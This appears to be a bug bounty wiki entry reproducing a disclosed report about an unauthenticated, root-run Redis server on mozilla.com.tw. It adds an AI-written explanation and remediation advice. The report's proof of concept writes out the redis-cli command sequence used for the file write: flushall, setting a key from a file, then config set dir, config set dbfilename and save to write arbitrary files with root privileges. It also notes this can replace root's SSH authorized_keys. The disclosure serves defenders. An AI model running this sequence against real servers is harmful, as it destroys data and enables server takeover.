Write access in mozilla.com.tw with root privileges
An unauthenticated Redis instance allowed remote attackers to change the working directory and dump filename, enabling arbitrary file writes with root privileges. This could lead to full server compromise, for example by overwriting SSH authorised keys.
Originally disclosed on Mozilla
- Fixed in 3 months
- Paid in 21 days
- Disclosed after 3 months
Vulnerability: Insufficient authorization in Redis db service
Severity: Critical
Description: The vulnerability allows to connect remotely without authorization, change the working directory of the program and the name of the dump file. This allows evil users to write RDB Redis files at random paths. The vulnerability is possible due to insecure Redis configuration (lack of authorization).
Attack scenario: An unauthenticated, remote attacker can write/rewrite arbitrary files in server's filesystem with root privileges.
PoC (how to reproduce steps):
###here it is a file "foo2.txt" I have written to /etc/ as a test
redis-cli -h mozilla.com.tw flushall (remove current keys and write data from file)
OK
cat foo2.txt | redis-cli -h mozilla.com.tw -x set crackit
OK
redis-cli -h mozilla.com.tw
###Set an arbitrary working directory mozilla.com.tw:6379> config set dir /etc/ OK mozilla.com.tw:6379> config get dir
- "dir"
- "/etc" ###set data base name mozilla.com.tw:6379> config set dbfilename "bug_bounty.txt" OK mozilla.com.tw:6379> save OK
Security impact: Writing access to the victim server with root privileges. Possible full control of the victim server by replacing original authorized_keys (can be set as data base name) file in /root/.ssh/ directory (can be set as working directory).
Remediation: updating Redis to the version which allows to set up an authentication mechanism, set a restricted access to Redis.
NB: By the time I started a testing process, current working directory had already been set to /root/.ssh/
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the Redis service was configured without authentication and ran with root privileges, allowing unauthenticated clients to use CONFIG SET to control file write paths.
Impact
An attacker could write arbitrary files with root privileges, potentially gaining full control of the server by replacing authorised_keys.
What the attacker needed
Redis exposed to the internet; No authentication on Redis; Redis runs with root privileges
The fix
Redis should be updated to a version that supports authentication and access should be restricted.
How it was found
- Connect to the Redis server and flush all existing keys.
- Set a value from a local file into a Redis key.
- Change the working directory to a target location such as /etc/.
- Set the database filename to the desired output file name.
- Trigger a save to write the file to disk.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Redis is a database that normally runs on a network port. If it has no password and is exposed to the internet, anyone can connect and use its commands to save files anywhere on the server. Here, the attacker could write files as the root user, which is the highest privilege level, potentially taking over the whole machine.
What is Misconfiguration?
Settings left unsafe: exposed panels, open storage buckets, debug modes, default credentials.